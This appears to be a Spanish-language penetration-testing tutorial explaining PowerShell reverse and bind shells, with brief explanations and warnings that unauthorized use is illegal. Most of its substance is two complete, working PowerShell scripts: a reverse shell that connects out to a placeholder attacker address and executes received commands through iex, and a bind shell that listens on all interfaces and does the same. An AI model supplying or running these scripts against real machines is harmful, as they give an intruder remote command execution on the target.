PowerShell para pruebas de penetración: Entendiendo Reverse y Bind Shells


Un shell inverso es un tipo de shell en el que la máquina objetivo se comunica con la máquina atacante. Esto se puede hacer mediante el uso de la interfaz de línea de comandos en la máquina de destino para conectarse de nuevo a la máquina del atacante y generar un shell de comandos.

Este es un ejemplo de un shell inverso PowerShell:


$client = New-Object System.Net.Sockets.TCPClient("ATTACKER-IP", ATTACKER-PORT);

$stream = $client.GetStream();

[byte[]]$bytes = 0..65535|%{0};

while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;

    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);

    $sendback = (iex $data 2>&1 | Out-String );

    $sendback2  = $sendback + "PS " + (pwd).Path + "> ";

    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);

    $stream.Write($sendbyte,0,$sendbyte.Length);

    $stream.Flush()};

$client.Close()


Este script crea un nuevo cliente TCP que se conecta a la dirección IP y al puerto especificados por el atacante. A continuación, crea un flujo para leer y escribir datos y entra en un bucle que lee datos del flujo, ejecuta los comandos y envía los resultados de vuelta al atacante.

Debes tener en cuenta que utilizar una shell inversa sin la autorización adecuada es ilegal en la mayoría de los países.

 Bind Shell

Un bind shell es un tipo de shell en el que la máquina objetivo escucha en un puerto específico y espera una conexión entrante desde la máquina del atacante. Una vez establecida la conexión, el atacante puede generar un shell de comandos en la máquina objetivo.

Este es un ejemplo de una shell PowerShell bind:

$listener = New-Object System.Net.Sockets.TcpListener([System.Net.IPAddress]::Any, BIND-PORT);
$listener.Start();
$client = $listener.AcceptTcpClient();
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
    $sendback = (iex $data 2>&1 | Out-String );
    $sendback2  = $sendback + "PS " + (pwd).Path + "> ";
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush()};
$client.Close()

Este script crea un nuevo objeto Tcp Listener que escucha en la dirección IP y puerto especificados por el atacante. A continuación, entra en un bucle que espera una conexión entrante, la acepta y crea un flujo para leer y escribir datos. Una vez establecida la conexión, lee los datos del flujo, ejecuta los comandos y envía los resultados al atacante.

Debes tener en cuenta que utilizar un bind shell sin la autorización adecuada es ilegal en la mayoría de los países.


Comentarios